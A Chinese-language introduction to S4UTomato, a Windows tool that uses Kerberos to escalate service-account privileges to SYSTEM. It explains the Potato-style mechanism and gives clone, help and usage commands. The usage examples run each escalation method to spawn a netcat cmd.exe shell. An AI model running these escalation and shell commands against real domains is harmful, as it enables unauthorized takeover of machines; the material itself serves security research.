關于S4UTomato

S4UTomato是一款功能強大的權限提升工具,該工具專為藍隊研究人員設計,可以通過Kerberos將服務賬號(Service Account)權限提升為LocalSystem。

工具運行機制

熟悉“Potato”系列權限提升工具的研究人員肯定知道,這類工具可以將服務賬號提升為本地系統權限,“Potato”所使用的技術和S4UTomato類似,即利用COM接口的特定功能,欺騙NT AUTHORITY\SYSTEM賬號跟攻擊者控制的RPC服務器進行連接,并完成身份認證。接下來,通過一系列API調用,并在身份認證過程中執行中間人攻擊(NTLM中繼),以生成針對目標本地系統中NT AUTHORITY\SYSTEM賬號的訪問令牌。最后,攻擊者將能夠獲取到這個令牌,然后使用CreateProcessWithToken()或CreateProcessAsUser()函數傳遞令牌,并創建一個新的進程來獲取SYSTEM權限。

Kerbero的角色

在Windows域環境中,SYSTEM、NT AUTHORITY\NETWORK SERVICE和Microsoft虛擬帳戶可以用于對加入域的系統計算機帳戶進行身份驗證,而在現代版本的Windows中,大多數Windows服務默認使用Microsoft虛擬帳戶運行。值得注意的是,IIS和MSSQL也在使用這些虛擬帳戶。因此,我們可以使用S4UTomato來獲取本地機器上域管理員帳戶“administrator”的服務憑證,然后在SCMUACBypass工具的幫助下,利用該憑證創建系統服務并獲得SYSTEM權限。

在計算機加入域的任意情況下,只要我們能夠在Windows服務帳戶或Microsoft虛擬帳戶的上下文下運行代碼,就可以利用上述技術進行本地權限提升。

在執行操作之前,我們需要為本地設備賬戶獲取TGT,但由于服務賬戶權限的限制,導致我們無法獲取到長期密鑰,因此無法構造KRB_AS_REQ請求。為了實現上述目標,S4UTomato利用了三種技術:基于資源的約束委派影子憑據Tgtdeleg

工具下載

由于該工具基于C#開發,因此我們首先需要在本地設備上安裝并配置好最新版本的Visual Studio。

接下來,廣大研究人員可以直接使用下列命令將該項目源碼克隆至本地:

git clone https://github.com/wh0amitz/S4UTomato.git

然后在Visual Studio中導入項目,并完成代碼構建和編譯即可。

工具使用幫助

C:\Users\whoami\Desktop>S4UTomato.exe --help

 

S4UTomato 1.0.0-beta

Copyright (c) 2023

 

  -d, --Domain              需要認證的目標域名(FQDN)

  -s, --Server               域控制器或LDAP服務器的主機名稱

  -m, --ComputerName        需要創建的新計算機賬號

  -p, --ComputerPassword    新創建計算機賬號的密碼

  -f, --Force               強制更新計算機對象的'msDS-KeyCredentialLink'屬性

  -c, --Command             需要運行的程序

  -v, --Verbose              輸出Verbose調試信息

  --help                    顯示工具幫助信息

  --version                 顯示工具版本信息

工具使用演示

通過基于資源的約束委派實現本地特權提升

S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

通過影子憑證實現本地特權提升

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

通過Tgtdeleg實現本地特權提升

# 首先通過Tgtdeleg獲取TGT

S4UTomato.exe tgtdeleg

# 然后運行SCMUACBypass 獲取SYSTEM權限

S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

項目地址

S4UTomato:https://github.com/wh0amitz/S4UTomato

參考資料

https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://twitter.com/gentilkiwi/status/998219775485661184
https://github.com/GhostPack/Rubeus#tgtdeleg